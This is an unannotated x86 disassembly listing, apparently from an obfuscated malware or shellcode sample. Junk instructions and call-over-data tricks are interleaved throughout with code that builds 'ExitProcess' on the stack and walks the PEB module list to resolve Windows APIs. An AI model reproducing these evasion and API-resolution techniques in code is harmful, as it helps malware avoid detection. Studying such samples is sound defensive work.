and edi, 0x12e65
xor edi, 0x12624
pop edi
push eax
xor eax, 0xe875
sub eax, 0x8cbc
pop eax
push eax
call 0x4571a5
add byte [esi + 0x34], al
dec esi
inc ecx
cmp al, byte [esi - 0x7d]
les eax, [eax + ebx*2]
mov dword [ebp - 0x70], 0
push edx
push ebx
add esp, 4
add edx, 0x182d
pop edx
push ebx
or ebx, 0xac71
xor ebx, 0x194c
add ebx, 0xe0f
and ebx, 0x15c26
pop ebx
push esi
push ebx
add esp, 4
or esi, 0xb9c7
add byte [esi - 0x75], bl
push ebp
nop
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x80], eax
push esi
or esi, 0xf73e
call 0x457201
add byte [0x44503639], dh
dec esp
inc ecx
dec ecx
inc edi
add esp, 4
and esi, 0x84ec
or esi, 0x3923
jmp 0x4551a2
jmp 0x457916
jmp 0x457916
mov byte [ebp - 0x144], 0x45
mov byte [ebp - 0x143], 0x78
mov byte [ebp - 0x142], 0x69
mov byte [ebp - 0x141], 0x74
mov byte [ebp - 0x140], 0x50
mov byte [ebp - 0x13f], 0x72
mov byte [ebp - 0x13e], 0x6f
mov byte [ebp - 0x13d], 0x63
mov byte [ebp - 0x13c], 0x65
mov byte [ebp - 0x13b], 0x73
mov byte [ebp - 0x13a], 0x73
mov byte [ebp - 0x139], 0
mov edx, dword [ebp - 0x4ac]
mov dword [ebp - 0x1b8], edx
push ecx
or ecx, 0xf773
sub ecx, 0x9008
xor ecx, 0x93b5
or ecx, 0x23f3
pop ecx
push ebx
push eax
add esp, 4
or ebx, 0x13595
or ebx, 0x816b
sub ebx, 0x6a4f
pop ebx
push edx
or edx, 0x5cb8
sub edx, 0x15ec9
xor edx, 0x94f5
pop edx
push esi
or esi, 0xe77c
xor esi, 0x16dc7
call 0x4579d6
add byte [edx + 0x47], al
cmp byte [ecx + ecx*2 + 0x45], cl
inc ebp
add esp, 4
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x43c], eax
push edi
push eax
add esp, 4
or edi, 0x35cf
call 0x457a00
add byte [ecx + 0x40], cl
cmp eax, 0x4c333543
inc esp
aas
add esp, 4
and edi, 0x14bb4
sub edi, 0x9c2c
pop edi
push esi
and esi, 0x21eb
pop esi
mov ecx, dword [ebp - 0x43c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x440], edx
push edi
add edi, 0x1314c
pop edi
push edx
push eax
add esp, 4
xor edx, 0x17ecb
and edx, 0x15a85
jmp 0x457a46
add edx, 0x14265
pop edx
push ecx
push ecx
add esp, 4
add ecx, 0x12b6c
pop ecx
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jne 0x457aac
push ecx
push eax
add esp, 4
add ecx, 0x1113f
pop ecx
push ecx
add ecx, 0x9b17
add ecx, 0x11191
pop ecx
push edx
call 0x457a96
add byte [esi], dh
inc edi
dec ecx
xor al, 0x41
inc ecx
inc ebx
add esp, 4
and edx, 0xb175
pop edx
mov dword [ebp - 0x74], 0
jmp 0x457e38
push ebx
sub ebx, 0x171
call 0x457ac2
add byte [ecx], bh
inc esp
cmp eax, 0x4635484a
xor al, 0x38
add esp, 4
xor ebx, 0x11d72
pop ebx
push ecx
push edi
add esp, 4
or ecx, 0xdff8
or ecx, 0xdfaf
pop ecx
mov ecx, dword [ebp - 0x32c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0
jne 0x457b37
push ecx
push esi
add esp, 4
jmp 0x457b07
pop ecx
push edi
xor edi, 0x16c6
pop edi
push edi
push edi
add esp, 4
xor edi, 0x2977
jmp 0x457b24
xor edi, 0xcfb5
pop edi
mov dword [ebp - 0x74], 0
jmp 0x457e38
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0xb0], ecx
push ebx
and ebx, 0x5984
sub ebx, 0x14a83
or ebx, 0x6b92
pop ebx
push edx
push ebx
add esp, 4
call 0x457b6b
add byte [edx + 0x4d], cl
dec ecx
inc edi
dec ebx
dec esi
inc esp
dec edi
inc edi
add esp, 4
sub edx, 0x17108
pop edx
lea edx, [ebp - 0x2b0]
mov dword [ebp - 0x260], edx
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x25c], ecx
push ebx
push esi
add esp, 4
or ebx, 0xea75
pop ebx
push edx
push edx
add esp, 4
xor edx, 0x13b54
add edx, 0x17750
add edx, 0x12a3c
or edx, 0x107ae
pop edx
push edx
xor edx, 0x63e3
pop edx
xor edx, edx
mov word [ebp - 0x48], dx
xor eax, eax
mov word [ebp - 0x20], ax
push eax
push ecx
add esp, 4
sub eax, 0x6e3a
and eax, 0x5441
jmp 0x457be5
pop eax
push edi
push esi
add esp, 4
or edi, 0x172b0
jmp 0x457bf9
xor edi, 0xb621
pop edi
mov ecx, dword [ebp - 0x25c]
mov dx, word [ecx]
mov word [ebp - 0x1d6], dx
mov eax, dword [ebp - 0x25c]
add eax, 2
mov dword [ebp - 0x25c], eax
mov cx, word [ebp - 0x1d6]
mov word [ebp - 0x48], cx
push ecx
or ecx, 0x33f0
jmp 0x457c3a
or ecx, 0x706e
pop ecx
push ebx
or ebx, 0x154fb
call 0x457c58
add byte [esp + esi + 0x43], cl
inc esp
inc ebp
xor eax, dword [ebp + 0x45]
inc ebx
add esp, 4
pop ebx
mov edx, dword [ebp - 0x260]
mov ax, word [edx]
mov word [ebp - 0x1e0], ax
mov ecx, dword [ebp - 0x260]
add ecx, 2
mov dword [ebp - 0x260], ecx
mov dx, word [ebp - 0x1e0]
mov word [ebp - 0x20], dx
push ecx
sub ecx, 0xcb55
and ecx, 0x1048a
and ecx, 0x181c0
pop ecx
push esi
push ecx
add esp, 4
xor esi, 0x16761
xor esi, 0xdb15
or esi, 0x8f26
xor esi, 0x5e93
pop esi
movzx eax, word [ebp - 0x20]
test eax, eax
jne 0x457cd5
movzx ecx, word [ebp - 0x48]
movzx edx, word [ebp - 0x20]
sub ecx, edx
mov dword [ebp - 0x334], ecx
jmp 0x457d58
movzx eax, word [ebp - 0x48]
movzx ecx, word [ebp - 0x20]
cmp eax, ecx
je 0x457bce
movzx edx, word [ebp - 0x48]
xor edx, 0x20
movzx eax, word [ebp - 0x20]
cmp edx, eax
je 0x457bce
push edi
and edi, 0x17ab
sub edi, 0x16747
and edi, 0x9b6
pop edi
push edi
push ecx
add esp, 4
xor edi, 0x1319f
and edi, 0x8cd1
pop edi
push ecx
push ebx
add esp, 4
or ecx, 0x67f3
pop ecx
movzx ecx, word [ebp - 0x48]
movzx edx, word [ebp - 0x20]
cmp ecx, edx
jge 0x457d42
mov dword [ebp - 0x330], 0xffffffff
jmp 0x457d4c
mov dword [ebp - 0x330], 1
mov eax, dword [ebp - 0x330]
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0
jne 0x457da1
push edx
push eax
add esp, 4
and edx, 0xa49e
add edx, 0x185e3
pop edx
push edx
push ecx
add esp, 4
xor edx, 0x11f2a
pop edx
push edx
sub edx, 0x126b7
sub edx, 0xa6ab
xor edx, 0xcf51
pop edx
mov ecx, dword [ebp - 0xb0]
mov dword [ebp - 0x74], ecx
jmp 0x457e38
mov edx, dword [ebp - 0xb0]
mov eax, dword [edx]
mov dword [ebp - 0xb0], eax
push esi
xor esi, 0x12383
xor esi, 0x7bce
or esi, 0xc4f3
pop esi
push edi
push eax
add esp, 4
call 0x457dd7
add byte [edi + 0x4a], al
dec edi
inc ebx
cmp eax, 0x493e5039
add esp, 4
xor edi, 0x2f4d
pop edi
mov ecx, dword [ebp - 0xb0]
cmp ecx, dword [ebp - 0x264]
je 0x457dff
mov edx, dword [ebp - 0xb0]
cmp dword [edx + 0x30], 0
jne 0x457b43
push edx
jmp 0x457e06
or edx, 0xbe41
and edx, 0x49fe
pop edx
push edi
sub edi, 0xfaf
jmp 0x457e21
call 0x457e2d
add byte [esi + 0x43], al
dec ebx
inc esi
add esp, 4
pop edi
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 0
jne 0x458ad3
push esi
push ecx
add esp, 4
sub esi, 0x103c6
pop esi
push edi
sub edi, 0x6e20
call 0x457e64
add byte [ecx], bh
dec edi
inc eax
xor al, 0x44
inc esp
cmp eax, 0xc4833c3a
add al, 0x81
invalid
push eax
push edi
add esp, 4
or eax, 0x15aa0
pop eax
push ebx
call 0x458aef
add byte [edi + 0x3b], cl
xor al, 0x49
aaa
cmp dword [ebx], edi
inc edx
dec ecx
add esp, 4
pop ebx
push esi
push ebx
add esp, 4
or esi, 0x129be
sub esi, 0x1ae6
pop esi
push eax
push esi
add esp, 4
sub eax, 0xa64a
pop eax
push edi
push eax
add esp, 4
add edi, 0x10c14
add edi, 0x6ea5
and edi, 0x17d71
xor edi, 0xcc98
pop edi
push esi
add esi, 0x8b71
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x464], ecx
push ebx
push edi
add esp, 4
or ebx, 0x1451a
call 0x458b5d
add byte [edi], bh
inc edi
inc ebp
dec esp
inc eax
dec ebp
cmp esi, dword [ebx + eax*4]
les eax, [ecx + eax*4]
ret